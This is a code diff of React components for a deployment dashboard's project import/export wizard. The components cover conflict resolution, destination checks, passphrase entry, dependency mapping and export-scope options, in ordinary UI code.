{job?.restoreErrors && job.restoreErrors.length > 0 && (
|
||||
<AlertBlock type="error">
|
||||
{job.restoreErrors.map((error) => (
|
||||
<p key={error.serviceId} className="text-xs">
|
||||
{error.serviceName ?? error.serviceId}: {error.error}
|
||||
</p>
|
||||
))}
|
||||
</AlertBlock>
|
||||
)}
|
||||
{job?.result?.warnings && job.result.warnings.length > 0 && (
|
||||
<RequirementsList warnings={job.result.warnings} />
|
||||
)}
|
||||
{importedProjectId && importedEnvironmentId && (
|
||||
<Button asChild variant="outline">
|
||||
<Link
|
||||
href={`/dashboard/project/${importedProjectId}/environment/${importedEnvironmentId}`}
|
||||
>
|
||||
<ExternalLink className="mr-2 h-4 w-4" />
|
||||
Open imported project
|
||||
</Link>
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<DialogFooter>
|
||||
{step > 0 && step < 4 && (
|
||||
<Button
|
||||
variant="outline"
|
||||
onClick={() => {
|
||||
if (step === 1 && importId) {
|
||||
cancelImport({ importId }).catch(() => {});
|
||||
setImportId(null);
|
||||
}
|
||||
setStep((s) => Math.max(0, s - 1));
|
||||
}}
|
||||
>
|
||||
Back
|
||||
</Button>
|
||||
)}
|
||||
{step === 1 && (
|
||||
<Button
|
||||
onClick={handleUnlock}
|
||||
isLoading={isUnlocking}
|
||||
disabled={passphrase.length === 0}
|
||||
>
|
||||
Unlock
|
||||
</Button>
|
||||
)}
|
||||
{step === 2 && (
|
||||
<Button
|
||||
onClick={handlePlan}
|
||||
isLoading={isPlanning}
|
||||
disabled={!canProceedTarget}
|
||||
>
|
||||
Preview
|
||||
</Button>
|
||||
)}
|
||||
{step === 3 && (
|
||||
<Button
|
||||
onClick={handleStart}
|
||||
isLoading={isStarting}
|
||||
disabled={
|
||||
isPlanning ||
|
||||
isValidating ||
|
||||
validationFailing ||
|
||||
conflictChoicesDirty
|
||||
}
|
||||
>
|
||||
Start import
|
||||
</Button>
|
||||
)}
|
||||
{step === 4 && (
|
||||
<Button variant="outline" onClick={() => setOpen(false)}>
|
||||
Close
|
||||
</Button>
|
||||
)}
|
||||
</DialogFooter>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,252 @@
|
||||
import { AlertTriangle, CheckCircle2, Loader2, XCircle } from "lucide-react";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import { RequirementsList } from "./requirements-list";
|
||||
|
||||
type PendingService = {
|
||||
serviceId: string;
|
||||
serviceType: string;
|
||||
reason: string;
|
||||
};
|
||||
|
||||
export type ConflictSummary = {
|
||||
kind: "domain" | "port" | "projectName" | "network";
|
||||
value: string;
|
||||
options: ("rename" | "skip" | "keep")[];
|
||||
};
|
||||
|
||||
export type ConflictChoice = {
|
||||
action: "rename" | "skip" | "keep";
|
||||
value?: string;
|
||||
};
|
||||
|
||||
type ValidationCheck = { check: string; ok: boolean; detail?: string };
|
||||
|
||||
type WarningSummary = {
|
||||
code: string;
|
||||
severity: "info" | "warning" | "blocking";
|
||||
message: string;
|
||||
affected?: { serviceName: string }[];
|
||||
};
|
||||
|
||||
type PlanSummary = {
|
||||
counts: Partial<Record<string, number>>;
|
||||
domains: number;
|
||||
dumps: number;
|
||||
};
|
||||
|
||||
const CONFLICT_LABELS: Record<ConflictSummary["kind"], string> = {
|
||||
domain: "Domain",
|
||||
port: "Published port",
|
||||
projectName: "Project name",
|
||||
network: "Network",
|
||||
};
|
||||
|
||||
const OPTION_LABELS: Record<
|
||||
ConflictSummary["kind"],
|
||||
Partial<Record<ConflictChoice["action"], string>>
|
||||
> = {
|
||||
domain: { rename: "Use another host", skip: "Import disabled" },
|
||||
port: {
|
||||
rename: "Publish on another port",
|
||||
skip: "Don't publish",
|
||||
keep: "Publish anyway",
|
||||
},
|
||||
projectName: { rename: "Import under another name" },
|
||||
network: {
|
||||
keep: "Attach to the existing network",
|
||||
rename: "Create with another name",
|
||||
skip: "Don't attach",
|
||||
},
|
||||
};
|
||||
|
||||
export const conflictKey = (conflict: ConflictSummary) =>
|
||||
`${conflict.kind}:${conflict.value}`;
|
||||
|
||||
const ConflictRow = ({
|
||||
conflict,
|
||||
choice,
|
||||
onChange,
|
||||
}: {
|
||||
conflict: ConflictSummary;
|
||||
choice: ConflictChoice;
|
||||
onChange: (choice: ConflictChoice) => void;
|
||||
}) => (
|
||||
<div className="grid gap-2 rounded-md border p-2 text-xs sm:grid-cols-[minmax(0,1fr)_200px_180px] sm:items-center">
|
||||
<div className="flex items-start gap-2">
|
||||
<AlertTriangle className="mt-0.5 h-3.5 w-3.5 shrink-0 text-yellow-500" />
|
||||
<span>
|
||||
<span className="text-muted-foreground">
|
||||
{CONFLICT_LABELS[conflict.kind]}{" "}
|
||||
</span>
|
||||
<span className="font-mono">{conflict.value}</span>
|
||||
<span className="text-muted-foreground"> already exists</span>
|
||||
</span>
|
||||
</div>
|
||||
<Select
|
||||
value={choice.action}
|
||||
onValueChange={(action) =>
|
||||
onChange({
|
||||
action: action as ConflictChoice["action"],
|
||||
value: action === "rename" ? choice.value : undefined,
|
||||
})
|
||||
}
|
||||
>
|
||||
<SelectTrigger className="h-8 text-xs">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{conflict.options.map((option) => (
|
||||
<SelectItem key={option} value={option}>
|
||||
{OPTION_LABELS[conflict.kind][option] ?? option}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
{choice.action === "rename" ? (
|
||||
<Input
|
||||
className="h-8 text-xs"
|
||||
value={choice.value ?? ""}
|
||||
placeholder={conflict.kind === "port" ? "e.g. 8081" : "New value"}
|
||||
onChange={(e) => onChange({ action: "rename", value: e.target.value })}
|
||||
/>
|
||||
) : (
|
||||
<span />
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
|
||||
interface ImportSummaryProps {
|
||||
summary?: PlanSummary;
|
||||
pendingServices?: PendingService[];
|
||||
warnings?: WarningSummary[];
|
||||
conflicts?: ConflictSummary[];
|
||||
conflictChoices: Record<string, ConflictChoice>;
|
||||
onConflictChange: (key: string, choice: ConflictChoice) => void;
|
||||
validation?: ValidationCheck[];
|
||||
isValidating: boolean;
|
||||
isLoading: boolean;
|
||||
}
|
||||
|
||||
export const ImportSummary = ({
|
||||
summary,
|
||||
pendingServices,
|
||||
warnings,
|
||||
conflicts,
|
||||
conflictChoices,
|
||||
onConflictChange,
|
||||
validation,
|
||||
isValidating,
|
||||
isLoading,
|
||||
}: ImportSummaryProps) => {
|
||||
if (isLoading) {
|
||||
return <p className="text-sm text-muted-foreground">Building plan...</p>;
|
||||
}
|
||||
|
||||
const totalResources = summary
|
||||
? Object.values(summary.counts).reduce(
|
||||
(sum: number, count) => sum + (count ?? 0),
|
||||
0,
|
||||
)
|
||||
: 0;
|
||||
const failing = (validation ?? []).filter((check) => !check.ok);
|
||||
|
||||
return (
|
||||
<div className="space-y-4">
|
||||
{summary && (
|
||||
<div className="text-sm space-y-1">
|
||||
<p className="font-medium">This import will create</p>
|
||||
<p className="text-muted-foreground">
|
||||
{totalResources} resource{totalResources === 1 ? "" : "s"},{" "}
|
||||
{summary.domains} domain{summary.domains === 1 ? "" : "s"}
|
||||
{summary.dumps > 0
|
||||
? `, ${summary.dumps} database dump${summary.dumps === 1 ? "" : "s"} to restore`
|
||||
: ""}
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{conflicts && conflicts.length > 0 && (
|
||||
<div className="space-y-1">
|
||||
<p className="text-sm font-medium">Conflicts ({conflicts.length})</p>
|
||||
<div className="space-y-1 max-h-[200px] overflow-y-auto">
|
||||
{conflicts.map((conflict) => {
|
||||
const key = conflictKey(conflict);
|
||||
return (
|
||||
<ConflictRow
|
||||
key={key}
|
||||
conflict={conflict}
|
||||
choice={
|
||||
conflictChoices[key] ?? {
|
||||
action: conflict.options[0] ?? "skip",
|
||||
}
|
||||
}
|
||||
onChange={(choice) => onConflictChange(key, choice)}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="space-y-1">
|
||||
<p className="text-sm font-medium flex items-center gap-2">
|
||||
Destination checks
|
||||
{isValidating && <Loader2 className="h-3.5 w-3.5 animate-spin" />}
|
||||
</p>
|
||||
{!isValidating && validation && validation.length === 0 && (
|
||||
<p className="text-xs text-muted-foreground">Nothing to check.</p>
|
||||
)}
|
||||
{validation && validation.length > 0 && (
|
||||
<div className="space-y-1 max-h-[160px] overflow-y-auto">
|
||||
{validation.map((check) => (
|
||||
<div key={check.check} className="flex items-start gap-2 text-xs">
|
||||
{check.ok ? (
|
||||
<CheckCircle2 className="mt-0.5 h-3.5 w-3.5 shrink-0 text-green-600" />
|
||||
) : (
|
||||
<XCircle className="mt-0.5 h-3.5 w-3.5 shrink-0 text-destructive" />
|
||||
)}
|
||||
<span className="font-mono">{check.check}</span>
|
||||
{check.detail && (
|
||||
<span className="text-muted-foreground">{check.detail}</span>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{failing.length > 0 && (
|
||||
<p className="text-xs text-destructive">
|
||||
Fix the failing checks (or change the resolutions above) before
|
||||
starting the import.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{warnings && warnings.length > 0 && (
|
||||
<RequirementsList warnings={warnings} />
|
||||
)}
|
||||
|
||||
{pendingServices && pendingServices.length > 0 && (
|
||||
<AlertBlock type="warning">
|
||||
<p className="font-medium">
|
||||
{pendingServices.length} service
|
||||
{pendingServices.length === 1 ? "" : "s"} will not deploy until you
|
||||
fix a missing dependency
|
||||
</p>
|
||||
{pendingServices.map((service) => (
|
||||
<p key={service.serviceId} className="text-xs">
|
||||
{service.serviceType}: {service.reason}
|
||||
</p>
|
||||
))}
|
||||
</AlertBlock>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,117 @@
|
||||
import { Wand2 } from "lucide-react";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Label } from "@/components/ui/label";
|
||||
import { generateRandomPassword } from "@/lib/password-utils";
|
||||
|
||||
export const MIN_PASSPHRASE_LENGTH = 12;
|
||||
|
||||
interface PassphraseFieldProps {
|
||||
id: string;
|
||||
label: string;
|
||||
value: string;
|
||||
onChange: (value: string) => void;
|
||||
errorMessage?: string;
|
||||
copyable?: boolean;
|
||||
action?: React.ReactNode;
|
||||
}
|
||||
|
||||
export const PassphraseField = ({
|
||||
id,
|
||||
label,
|
||||
value,
|
||||
onChange,
|
||||
errorMessage,
|
||||
copyable,
|
||||
action,
|
||||
}: PassphraseFieldProps) => (
|
||||
<div className="grid gap-2">
|
||||
<div className="flex items-center justify-between">
|
||||
<Label htmlFor={id}>{label}</Label>
|
||||
{action}
|
||||
</div>
|
||||
<Input
|
||||
id={id}
|
||||
type="password"
|
||||
autoComplete="new-password"
|
||||
data-1p-ignore
|
||||
data-lpignore="true"
|
||||
enableCopyButton={copyable}
|
||||
value={value}
|
||||
onChange={(e) => onChange(e.target.value)}
|
||||
errorMessage={errorMessage}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
|
||||
interface PassphraseFieldsProps {
|
||||
value: string;
|
||||
confirm: string;
|
||||
onValueChange: (value: string) => void;
|
||||
onConfirmChange: (value: string) => void;
|
||||
}
|
||||
|
||||
export const isPassphraseValid = (value: string, confirm: string) =>
|
||||
value.length >= MIN_PASSPHRASE_LENGTH && value === confirm;
|
||||
|
||||
export const PassphraseFields = ({
|
||||
value,
|
||||
confirm,
|
||||
onValueChange,
|
||||
onConfirmChange,
|
||||
}: PassphraseFieldsProps) => (
|
||||
<>
|
||||
<AutofillDecoy />
|
||||
<PassphraseField
|
||||
id="passphrase"
|
||||
label={`Passphrase (min. ${MIN_PASSPHRASE_LENGTH} characters)`}
|
||||
value={value}
|
||||
onChange={onValueChange}
|
||||
copyable
|
||||
errorMessage={
|
||||
value.length > 0 && value.length < MIN_PASSPHRASE_LENGTH
|
||||
? `Passphrase must be at least ${MIN_PASSPHRASE_LENGTH} characters`
|
||||
: undefined
|
||||
}
|
||||
action={
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="h-auto gap-1 px-2 py-1 text-xs"
|
||||
onClick={() => {
|
||||
const generated = generateRandomPassword(24);
|
||||
onValueChange(generated);
|
||||
onConfirmChange(generated);
|
||||
}}
|
||||
>
|
||||
<Wand2 className="size-3" />
|
||||
Generate
|
||||
</Button>
|
||||
}
|
||||
/>
|
||||
<PassphraseField
|
||||
id="passphrase-confirm"
|
||||
label="Confirm passphrase"
|
||||
value={confirm}
|
||||
onChange={onConfirmChange}
|
||||
errorMessage={
|
||||
confirm.length > 0 && confirm !== value
|
||||
? "Passphrases don't match"
|
||||
: undefined
|
||||
}
|
||||
/>
|
||||
</>
|
||||
);
|
||||
|
||||
export const AutofillDecoy = () => (
|
||||
<input
|
||||
type="text"
|
||||
name="username"
|
||||
autoComplete="username"
|
||||
tabIndex={-1}
|
||||
aria-hidden="true"
|
||||
readOnly
|
||||
className="sr-only"
|
||||
/>
|
||||
);
|
||||
@@ -0,0 +1,158 @@
|
||||
import { AlertTriangle, CheckCircle2, Info } from "lucide-react";
|
||||
import { formatBytes } from "@/components/dashboard/database/backups/restore-backup";
|
||||
|
||||
type RequirementSummary = {
|
||||
kind: string;
|
||||
usedBy: { serviceName: string }[];
|
||||
};
|
||||
|
||||
type WarningSummary = {
|
||||
code: string;
|
||||
severity: "info" | "warning" | "blocking";
|
||||
message: string;
|
||||
affected?: { serviceName: string }[];
|
||||
};
|
||||
|
||||
const MAX_NAMES_SHOWN = 5;
|
||||
|
||||
type WarningGroup = WarningSummary & { names: string[] };
|
||||
|
||||
const groupWarnings = (warnings: WarningSummary[]): WarningGroup[] => {
|
||||
const groups = new Map<string, WarningGroup>();
|
||||
for (const warning of warnings) {
|
||||
const key = `${warning.code}\n${warning.message}`;
|
||||
const group = groups.get(key) ?? { ...warning, names: [] };
|
||||
for (const usedBy of warning.affected ?? []) {
|
||||
if (usedBy.serviceName && !group.names.includes(usedBy.serviceName)) {
|
||||
group.names.push(usedBy.serviceName);
|
||||
}
|
||||
}
|
||||
groups.set(key, group);
|
||||
}
|
||||
return Array.from(groups.values());
|
||||
};
|
||||
|
||||
const formatNames = (names: string[]): string =>
|
||||
names.length <= MAX_NAMES_SHOWN
|
||||
? names.join(", ")
|
||||
: `${names.slice(0, MAX_NAMES_SHOWN).join(", ")} and ${names.length - MAX_NAMES_SHOWN} more`;
|
||||
|
||||
interface RequirementsListProps {
|
||||
inventory?: {
|
||||
environments: unknown[];
|
||||
totals: Partial<Record<string, number>>;
|
||||
estimatedDumpBytes?: number;
|
||||
estimatedFilesBytes?: number;
|
||||
images?: { name: string; image: string }[];
|
||||
};
|
||||
requirements?: RequirementSummary[];
|
||||
warnings?: WarningSummary[];
|
||||
isLoading?: boolean;
|
||||
}
|
||||
|
||||
const severityIcon = (severity: WarningSummary["severity"]) => {
|
||||
if (severity === "blocking") {
|
||||
return (
|
||||
<AlertTriangle className="h-3.5 w-3.5 shrink-0 text-destructive mt-0.5" />
|
||||
);
|
||||
}
|
||||
if (severity === "warning") {
|
||||
return (
|
||||
<AlertTriangle className="h-3.5 w-3.5 shrink-0 text-yellow-500 mt-0.5" />
|
||||
);
|
||||
}
|
||||
return <Info className="h-3.5 w-3.5 shrink-0 text-muted-foreground mt-0.5" />;
|
||||
};
|
||||
|
||||
export const RequirementsList = ({
|
||||
inventory,
|
||||
requirements,
|
||||
warnings,
|
||||
isLoading = false,
|
||||
}: RequirementsListProps) => {
|
||||
if (isLoading) {
|
||||
return <p className="text-sm text-muted-foreground">Loading preview...</p>;
|
||||
}
|
||||
|
||||
const totalResources = inventory
|
||||
? Object.values(inventory.totals).reduce(
|
||||
(sum: number, count) => sum + (count ?? 0),
|
||||
0,
|
||||
)
|
||||
: 0;
|
||||
|
||||
return (
|
||||
<div className="space-y-4">
|
||||
{inventory && (
|
||||
<div className="text-sm">
|
||||
<p className="font-medium">Inventory</p>
|
||||
<p className="text-muted-foreground">
|
||||
{inventory.environments.length} environment
|
||||
{inventory.environments.length === 1 ? "" : "s"}, {totalResources}{" "}
|
||||
total resources
|
||||
{inventory.estimatedDumpBytes || inventory.estimatedFilesBytes
|
||||
? ` · about ${formatBytes(inventory.estimatedDumpBytes ?? 0)} of database data and ${formatBytes(inventory.estimatedFilesBytes ?? 0)} of files`
|
||||
: ""}
|
||||
</p>
|
||||
{inventory.images && inventory.images.length > 0 && (
|
||||
<p className="text-xs text-muted-foreground">
|
||||
Images:{" "}
|
||||
{inventory.images
|
||||
.map((entry) => `${entry.name} (${entry.image})`)
|
||||
.join(", ")}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{requirements && requirements.length > 0 && (
|
||||
<div className="space-y-1">
|
||||
<p className="text-sm font-medium">
|
||||
External dependencies ({requirements.length})
|
||||
</p>
|
||||
<div className="space-y-1 max-h-[150px] overflow-y-auto">
|
||||
{requirements.map((req, index) => (
|
||||
<div key={index} className="flex items-center gap-2 text-xs">
|
||||
<span className="rounded bg-muted px-1.5 py-0.5 font-mono">
|
||||
{req.kind}
|
||||
</span>
|
||||
<span className="text-muted-foreground">
|
||||
used by {req.usedBy.length} service
|
||||
{req.usedBy.length === 1 ? "" : "s"}
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{warnings && warnings.length > 0 && (
|
||||
<div className="space-y-1">
|
||||
<p className="text-sm font-medium">Warnings ({warnings.length})</p>
|
||||
<div className="space-y-2 max-h-[150px] overflow-y-auto">
|
||||
{groupWarnings(warnings).map((warning, index) => (
|
||||
<div key={index} className="flex items-start gap-2 text-xs">
|
||||
{severityIcon(warning.severity)}
|
||||
<span className="text-muted-foreground">
|
||||
{warning.names.length > 0 && (
|
||||
<span className="font-medium text-foreground">
|
||||
{formatNames(warning.names)}:{" "}
|
||||
</span>
|
||||
)}
|
||||
{warning.message}
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{requirements?.length === 0 && warnings?.length === 0 && (
|
||||
<div className="flex items-center gap-2 text-sm text-muted-foreground">
|
||||
<CheckCircle2 className="h-4 w-4" />
|
||||
No external dependencies or warnings detected.
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,235 @@
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import { CollapsibleSection } from "./collapsible-section";
|
||||
|
||||
type Requirement = {
|
||||
kind: string;
|
||||
originalId: string | null;
|
||||
usedBy: { serviceName: string; environmentId: string }[];
|
||||
[key: string]: unknown;
|
||||
};
|
||||
|
||||
type ProposedResolution = {
|
||||
status: "resolved" | "mappable" | "createable" | "missing";
|
||||
targetId?: string;
|
||||
candidates?: { id: string; name: string }[];
|
||||
};
|
||||
|
||||
export type ResolutionChoice = {
|
||||
requirementKey: string;
|
||||
action: "reuse" | "create" | "skip";
|
||||
targetId?: string;
|
||||
};
|
||||
|
||||
interface ResolutionStepProps {
|
||||
requirements: Requirement[];
|
||||
resolutions: Record<string, ProposedResolution>;
|
||||
choices: Record<string, ResolutionChoice>;
|
||||
onChange: (key: string, choice: ResolutionChoice) => void;
|
||||
}
|
||||
|
||||
const requirementKey = (requirement: Requirement): string =>
|
||||
`${requirement.kind}:${requirement.originalId ?? "null"}`;
|
||||
|
||||
const requirementLabel = (requirement: Requirement): string => {
|
||||
switch (requirement.kind) {
|
||||
case "vault":
|
||||
return `Vault "${requirement.providerName}"`;
|
||||
case "gitProvider":
|
||||
return `${requirement.providerType} git provider`;
|
||||
case "destination":
|
||||
return `Destination "${requirement.bucket}"`;
|
||||
case "registry":
|
||||
return `Registry "${requirement.registryUrl}"`;
|
||||
case "sshKey":
|
||||
return "SSH key";
|
||||
case "network":
|
||||
return `Network "${requirement.name}"`;
|
||||
case "certificate":
|
||||
return "Custom certificate";
|
||||
case "server":
|
||||
return "Server";
|
||||
default:
|
||||
return requirement.kind;
|
||||
}
|
||||
};
|
||||
|
||||
const statusBadge = (status: ProposedResolution["status"]) => {
|
||||
switch (status) {
|
||||
case "resolved":
|
||||
return <Badge variant="green">resolved</Badge>;
|
||||
case "mappable":
|
||||
return <Badge variant="secondary">needs mapping</Badge>;
|
||||
case "createable":
|
||||
return <Badge variant="blue">will be created</Badge>;
|
||||
case "missing":
|
||||
return <Badge variant="destructive">missing</Badge>;
|
||||
}
|
||||
};
|
||||
|
||||
const defaultChoiceFor = (
|
||||
key: string,
|
||||
proposed: ProposedResolution | undefined,
|
||||
): ResolutionChoice => {
|
||||
if (!proposed) return { requirementKey: key, action: "skip" };
|
||||
if (proposed.status === "resolved") {
|
||||
return {
|
||||
requirementKey: key,
|
||||
action: "reuse",
|
||||
targetId: proposed.targetId,
|
||||
};
|
||||
}
|
||||
if (proposed.status === "createable") {
|
||||
return { requirementKey: key, action: "create" };
|
||||
}
|
||||
return { requirementKey: key, action: "skip" };
|
||||
};
|
||||
|
||||
export const defaultResolutionChoices = (
|
||||
requirements: Requirement[],
|
||||
resolutions: Record<string, ProposedResolution>,
|
||||
): Record<string, ResolutionChoice> => {
|
||||
const choices: Record<string, ResolutionChoice> = {};
|
||||
for (const requirement of requirements) {
|
||||
const key = requirementKey(requirement);
|
||||
choices[key] = defaultChoiceFor(key, resolutions[key]);
|
||||
}
|
||||
return choices;
|
||||
};
|
||||
|
||||
const RequirementRow = ({
|
||||
requirement,
|
||||
proposed,
|
||||
choice,
|
||||
onChange,
|
||||
}: {
|
||||
requirement: Requirement;
|
||||
proposed: ProposedResolution | undefined;
|
||||
choice: ResolutionChoice;
|
||||
onChange: (choice: ResolutionChoice) => void;
|
||||
}) => {
|
||||
const key = requirementKey(requirement);
|
||||
const candidates = proposed?.candidates ?? [];
|
||||
|
||||
return (
|
||||
<div className="rounded-md border p-3 space-y-2">
|
||||
<div className="flex items-center justify-between gap-2 flex-wrap">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-sm font-medium">
|
||||
{requirementLabel(requirement)}
|
||||
</span>
|
||||
{proposed && statusBadge(proposed.status)}
|
||||
</div>
|
||||
|
||||
{candidates.length > 0 && (
|
||||
<Select
|
||||
value={
|
||||
choice.action === "skip" ? "__skip__" : (choice.targetId ?? "")
|
||||
}
|
||||
onValueChange={(value) => {
|
||||
if (value === "__skip__") {
|
||||
onChange({ requirementKey: key, action: "skip" });
|
||||
return;
|
||||
}
|
||||
onChange({
|
||||
requirementKey: key,
|
||||
action: "reuse",
|
||||
targetId: value,
|
||||
});
|
||||
}}
|
||||
>
|
||||
<SelectTrigger className="w-[220px]">
|
||||
<SelectValue placeholder="Map to..." />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{candidates.map((candidate) => (
|
||||
<SelectItem key={candidate.id} value={candidate.id}>
|
||||
{candidate.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
<SelectItem value="__skip__">Skip (don't map)</SelectItem>
|
||||
</SelectContent>
|
||||
</Select>
|
||||
)}
|
||||
|
||||
{candidates.length === 0 && proposed?.status === "createable" && (
|
||||
<Select
|
||||
value={choice.action}
|
||||
onValueChange={(value) =>
|
||||
onChange({
|
||||
requirementKey: key,
|
||||
action: value as "create" | "skip",
|
||||
})
|
||||
}
|
||||
>
|
||||
<SelectTrigger className="w-[220px]">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="create">Create from bundle</SelectItem>
|
||||
<SelectItem value="skip">Skip</SelectItem>
|
||||
</SelectContent>
|
||||
</Select>
|
||||
)}
|
||||
|
||||
{candidates.length === 0 && proposed?.status === "missing" && (
|
||||
<span className="text-xs text-muted-foreground">
|
||||
Nothing to map: services using it won't deploy
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{requirement.usedBy.length > 0 && (
|
||||
<CollapsibleSection
|
||||
triggerClassName="flex items-center gap-1 text-xs text-muted-foreground"
|
||||
contentClassName="pl-4 pt-1 space-y-0.5"
|
||||
title={`Used by ${requirement.usedBy.length} service${requirement.usedBy.length === 1 ? "" : "s"}`}
|
||||
>
|
||||
{requirement.usedBy.map((usedBy, index) => (
|
||||
<p key={index} className="text-xs text-muted-foreground">
|
||||
{usedBy.serviceName}
|
||||
</p>
|
||||
))}
|
||||
</CollapsibleSection>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export const ResolutionStep = ({
|
||||
requirements,
|
||||
resolutions,
|
||||
choices,
|
||||
onChange,
|
||||
}: ResolutionStepProps) => {
|
||||
if (requirements.length === 0) {
|
||||
return (
|
||||
<p className="text-sm text-muted-foreground">
|
||||
This bundle has no external dependencies to resolve.
|
||||
</p>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="space-y-3 max-h-[45vh] overflow-y-auto">
|
||||
{requirements.map((requirement) => {
|
||||
const key = requirementKey(requirement);
|
||||
return (
|
||||
<RequirementRow
|
||||
key={key}
|
||||
requirement={requirement}
|
||||
proposed={resolutions[key]}
|
||||
choice={choices[key] ?? defaultChoiceFor(key, resolutions[key])}
|
||||
onChange={(choice) => onChange(key, choice)}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,406 @@
|
||||
import { Info } from "lucide-react";
|
||||
import type { ReactNode } from "react";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import { Label } from "@/components/ui/label";
|
||||
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
||||
import {
|
||||
Tooltip,
|
||||
TooltipContent,
|
||||
TooltipTrigger,
|
||||
} from "@/components/ui/tooltip";
|
||||
|
||||
type ServiceRow = {
|
||||
name: string;
|
||||
applicationStatus?: string | null;
|
||||
composeStatus?: string | null;
|
||||
};
|
||||
|
||||
export type ProjectEnvironment = {
|
||||
environmentId: string;
|
||||
name: string;
|
||||
applications: (ServiceRow & {
|
||||
applicationId: string;
|
||||
sourceType?: string | null;
|
||||
})[];
|
||||
compose: (ServiceRow & { composeId: string })[];
|
||||
postgres: (ServiceRow & { postgresId: string })[];
|
||||
mysql: (ServiceRow & { mysqlId: string })[];
|
||||
mariadb: (ServiceRow & { mariadbId: string })[];
|
||||
mongo: (ServiceRow & { mongoId: string })[];
|
||||
redis: (ServiceRow & { redisId: string })[];
|
||||
libsql: (ServiceRow & { libsqlId: string })[];
|
||||
};
|
||||
|
||||
const SERVICE_KIND_FIELDS = [
|
||||
{ key: "applications", idField: "applicationId" },
|
||||
{ key: "compose", idField: "composeId" },
|
||||
{ key: "postgres", idField: "postgresId" },
|
||||
{ key: "mysql", idField: "mysqlId" },
|
||||
{ key: "mariadb", idField: "mariadbId" },
|
||||
{ key: "mongo", idField: "mongoId" },
|
||||
{ key: "redis", idField: "redisId" },
|
||||
{ key: "libsql", idField: "libsqlId" },
|
||||
] as const;
|
||||
|
||||
export type SharedResourceKind =
|
||||
| "destination"
|
||||
| "registry"
|
||||
| "sshKey"
|
||||
| "network"
|
||||
| "certificate"
|
||||
| "vaultProvider"
|
||||
| "dnsProvider";
|
||||
|
||||
const SHARED_KINDS: SharedResourceKind[] = [
|
||||
"destination",
|
||||
"registry",
|
||||
"sshKey",
|
||||
"network",
|
||||
"certificate",
|
||||
"vaultProvider",
|
||||
"dnsProvider",
|
||||
];
|
||||
|
||||
const SHARED_KIND_LABELS: Record<SharedResourceKind, string> = {
|
||||
destination: "Destination",
|
||||
registry: "Registry",
|
||||
sshKey: "SSH Key",
|
||||
network: "Network",
|
||||
certificate: "Certificate",
|
||||
vaultProvider: "Vault Provider",
|
||||
dnsProvider: "DNS Provider",
|
||||
};
|
||||
|
||||
const SHARED_MODE_TOOLTIPS = {
|
||||
value:
|
||||
"Copies the resource itself (including its credentials) into the bundle, so importing it recreates a standalone copy even into an instance that doesn't already have a matching one.",
|
||||
reference:
|
||||
"Only records that this project depends on the resource, without copying its credentials. On import it's matched by name to one already in the destination instead of being duplicated.",
|
||||
};
|
||||
|
||||
const DUMP_MODE_TOOLTIPS: Record<ScopeFormState["dumps"]["mode"], string> = {
|
||||
none: "Exports only the service configuration, no data. Databases start empty after import.",
|
||||
embed:
|
||||
"Dumps each database right now and stores the dump inside the export file. Simple and self-contained, but large databases can make the bundle very large.",
|
||||
referenceLastBackup:
|
||||
"Doesn't include any data in the bundle. Instead it references the most recent successful scheduled backup at its destination and downloads it from there on import, requiring that destination to still be resolvable and a completed backup to exist.",
|
||||
};
|
||||
|
||||
const DUMP_MODES = [
|
||||
["none", "None (config only)"],
|
||||
["embed", "Embed in bundle"],
|
||||
["referenceLastBackup", "Reference last backup"],
|
||||
] as const;
|
||||
|
||||
const InfoTooltip = ({ tooltip }: { tooltip: string }) => (
|
||||
<Tooltip>
|
||||
<TooltipTrigger asChild>
|
||||
<Info className="size-3 text-muted-foreground" />
|
||||
</TooltipTrigger>
|
||||
<TooltipContent side="top" className="max-w-64">
|
||||
{tooltip}
|
||||
